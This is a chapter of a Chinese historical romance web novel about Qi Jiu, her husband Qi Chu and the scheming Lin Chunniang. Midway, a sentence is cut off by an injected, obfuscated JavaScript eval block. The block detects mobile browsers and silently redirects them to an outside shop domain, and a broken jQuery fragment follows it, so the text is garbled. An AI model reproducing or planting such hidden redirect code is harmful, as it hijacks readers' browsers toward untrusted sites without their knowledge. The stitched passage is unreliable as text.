“滢儿,我这就走了。”
柒奺见太阳已经上了天顶,便向关滢请辞。
关滢舍不得柒奺,拖拖拉拉地送到大门,才依依不舍地看着她离去。快到晌午了,柒奺才不想待到饭点,省得又是一阵尴尬,忙辞了关滢,匆匆走出大门去。
可她一脚刚好跨出门槛,却听见关薄言的声音:
“奺……奺儿妹妹,这么快就要走了?”
尽管关薄言努力克制住情绪,可柒奺的出现,还是令他心绪不宁。早上他回到书房,本想处理公务转移注意力,可思绪却频频飘至窗外——奺儿,就在他府上,就在离他不远的地方啊!虽然知道柒奺不会来书房,可他还是忍不住渴望着,能在窗外看见她的身影。
关安同关薄言最是贴心,看出主子心神不宁,默默退了出去。
关安走后,关薄言才缓缓起身,从身后的书架顶端,捧出一只盒子。
内里,那只玉镯,那袋银钱,一个不少,全都安静地躺着。每当看见这只玉镯,关薄言便会想起自己一身破衣布鞋、踌躇满志地进京求学的时候;也会想起自己囊中羞涩、徘徊许久,却觉得小摊贩上的这只镯子太适合柒奺,不惜掏空身家买了下来,放在胸口最贴心的位置。
那时的他,在一堆文唐学子中翘首以盼,盼得自己能得一官半职不负寒窗苦读,盼得能衣锦还乡迎娶心爱之人。
有的期盼,日子总是过得有劲头。
关薄言看着看着,嘴角不禁浮现出淡淡的笑容。
“郎君?”
忽然听见韩宜君的声音,关薄言慌忙收起笑容,将那盒子塞进桌底。韩宜君在门口远远看着,眼见着他神色慌乱,将什么东西藏了起来。
“宜、宜君,咳……有什么事吗?”
关薄言忙正色道。
“没有。”韩宜君进来欠了欠身,见关薄言神色慌张,便没有提起那东西的事,“不过是趁早上天不大热,四处走走罢了,路过书房,便想着进来看看郎君。”
“哦,那你可要当心着点,慢慢走。”关薄言说,“我这书房里东西太多,又凌乱……”
“妾身这就出去。”韩宜君说,“郎君不必担心,我走走自会回去歇息。”
“嗯。”
关薄言点点头,又重新拿起毛笔,专注地开始写字。
韩宜君静立了一会儿,默默地转身离去。
有了韩宜君的突然闯入,关薄言总算冷静了,一直埋头处理公务。直到日上三竿,站在门外的关安忽然说了句:“大人,柒娘子看样子是要走了呢。”关薄言才犹豫片刻,起身跟到了大门。
“刺史大人……”柒奺后退半步欠了欠身,“民妇家中还有事,这就告辞了……”
“奺儿……”关薄言顿了顿,朝左右看了看,“之前的事情,是我做得不对……奺儿,已经过去这么久了,就不要再怪我了好么?你与滢儿如此亲密,对我……就不要这么生疏了,还是同以前一样,叫我薄言哥哥吧。”
柒奺沉默了,她不知该如何回应。
关薄言也许永远无法设身处地地思考,她不愿再唤“薄言哥哥”,并不是小女子“赌气”那么简单。
见柒奺迟迟不语,关薄言心中期待,可他也明白不能逼得太紧——柒奺不再和他当面锣对面鼓,就已经算进了一步了。他笑笑,继续说道:“没关系,也不急于一时……这样,我叫人套了马车送你回去吧,这样我也放心些。”
柒奺正要说话,大门外忽然传来一个声音:
“奺儿,我来接你回家了!”
关薄言和柒奺一同转头看去,祁楚和平南山正在门外高高的台阶下,也不知是何时出现的。平南山牵着骡车,祁楚笑而不语,收起折扇,远远朝关薄言深鞠一躬。
柒奺收回目光,飞快向关薄言欠一欠身:“那……那我告辞了。”
关薄言眼看着柒奺飞快走下台阶,投入祁楚的怀抱,喉结干涩地上下滚动。祁楚接到柒奺,悉心地用折扇替她挡住头顶的阳光,搀扶她上了骡车。关薄言就站在“凉州刺史府”的巨大匾额下,无言地看着二人一同离去。
“大人……”关安轻轻唤了一声。
“……回去吧。”关薄言落寞地收回目光,转身离去。
祁家的骡车上,柒奺有些局促。
“楚郎,你怎么知道我在这儿?”
“这有何难?”祁楚紧紧拥着柒奺,用折扇给她扇风,“今天一早我去蕴雅居,才知道你一个人出了门,可济世堂和爷爷那儿你都没去,想来也只剩关二姑娘了——怎么,心里不爽快?我说你就是自讨苦吃嘛,哈哈……”
祁楚没心没肺地笑起来。
“胡说八道……瞧你那脸大的,得折起来揣兜里!”
柒奺紧紧压住祁楚的双脸,给他挤出一只鸟嘴来。
“揣呀,揣呀,揣哪儿啊?”
祁楚脸也不要了,一面撅着“鸟嘴”说话,一面将脑袋往柒奺怀里拱,左拱右拱,拱得柒奺直忍不住想笑。平南山在前面牵骡子,好奇地回头看了一眼,见祁楚那德行,伸出两根手指想自戳双目。
“……好了!”柒奺只好放开他,捂住胸口说,“没个正形!”
“哈哈哈……”祁楚见柒奺这窘迫脸红的样,更是起了逗弄娘子的心,“奺儿,我一直很想问问你,这‘正形’究竟是个什么‘形’?到底是‘行’呐,还是‘不行’呐?”
“油嘴滑舌!”柒奺举起一个巴掌,“再如此胡闹,打得你没人形!”
祁楚举起双手“投降”,脸上却笑得牙花锃亮。柒奺自认算是厉害的,可遇上祁楚这么个吊儿郎当没脸没皮的人物,竟渐渐拿他没了办法。
祁楚投完降,复又搂着柒奺说道:“好了好了……我听娘子的,不胡闹了。奺儿,说点正经的——如今离九月互市越来越近了,全文唐的大大小小的商人都来了平凉城,将来你独自出门,一定要注意安全。自铁厥一战开始,文唐已经十年没有开互市了,这么多人涌入平凉,鱼龙混杂,小心为上,听到了没有?”
柒奺问他:“是不是出什么事了?”
“嗯。”祁楚目光沉沉地说,“你可知道朝廷为何要向民间买马?便是之前北上的监马官和商人屡次遭人暗杀,铁厥想要阻挠文唐整备军队,正是无所不用其极。不只是我们,想要买马的商人也有许多早已北上,可今日商会传来消
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849939|203563||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
息,有几名商人刚进敕勒境内,就一夜之间全部横死客栈。”
“……战马的利润,对普通商人的吸引是致命的,哪怕是我们,也想成了这战马生意。”柒奺抬头看向他,“不要光说我,你和平南山也要多多注意安全。”
“大娘子,我平南山习武二十年,又在北固军参军五年,你尽管放心好了。”平南山在帘外笑道,“所以我说楚兄不能去,他那三脚猫功夫,去了也是给我添乱!”
“去去去……我功夫哪有那么差!”
祁楚红着脸,将扇柄伸出去敲平南山,说笑打闹着,祁府也到了。而一个鬼鬼祟祟的身影见了他们,立马转身躲进石屏风后面,见无人发现,才偷偷回了后院。
这个人,便是林春娘。
梅娟儿入门那日,林春娘托卖菜的送了封信给乔予卿,让他在清崖居后门放个人,一旦有机会,林春娘便会前去同他见面。而今日正是时机,柒奺和祁楚大清早出门,林春娘便换了身丫鬟衣裳,从后厨门溜了出去。
烟花巷柳,总是傍晚才开门迎客,清晨的清崖居静悄悄的。
林春娘轻车熟路摸至后门,敲了几下,便有人替她开了门。这是跟在乔予卿身边的白面小厮赵乙,赵乙见了林春娘,做了个嘘声的手势,偷偷将她带至二楼乔予卿的房间。
“你来了?”
乔予卿惊喜万分,忙请林春娘进门坐下。
自从被“霸爷”警告后,乔予卿只能暂时安分下来,他只能将“转机”寄托在林春娘身上,没想到林春娘还算守约,真替他将这“转机”带了来。
“哎哟,真不愧是平凉第一名伶啊。”林春娘一坐下来,就将屋子内环顾了一圈,“瞧这家具摆设,哟,这椅子,怕不是红木的吧?啧啧……衣物首饰更不必说了,得关上窗子看,否则我这眼睛都要晃瞎了呢!”
乔予卿想回两句嘴,又将话吞了回去,换上一副笑颜:“哪里……都是些不值钱的货色。春娘你若是喜欢,我那衣裙首饰,你挑上几样带回去便是了。”
“乔公子果然气度不凡,春娘就在此谢过喽。”林春娘媚着欠了欠身,说道,“果真还是你厉害,看出祁家不久就能解围,否则咱俩的愿望啊,恐怕都要落空了呢。我就说嘛,乔公子您定是能封王拜相,前途无量呐!”
“你我二人是老相熟,这客气的话,就不必多说了吧。”乔予卿替林春娘满了茶,迫不及待地问道,“快说说,究竟有什么好办法?”
林春娘意味深长地一笑,将陶凝的事一五一十说了出来。
“你我二人都有些身不由己,想要成事怕是很难。”林春娘说,“可这陶家姑娘可不一样,有陶家在背后相帮,你与她不就都能如愿了?”
乔予卿却显得谨慎:“如若如此,我与她是能各偿所愿……可你有没有想过,这陶三姑娘如此厉害,她将来若是做了祁家的大娘子,你一个妾室,能讨得了什么好?你就不怕她入门以后,翻脸不认人?”
乔予卿不是真替林春娘担忧,他是怕,若行事过程中林春娘回过了神来,到时候再反悔阻拦,岂不是坏了大事。
林春娘却嗔笑道:“哟,乔大公子,您还真当我蠢呐?”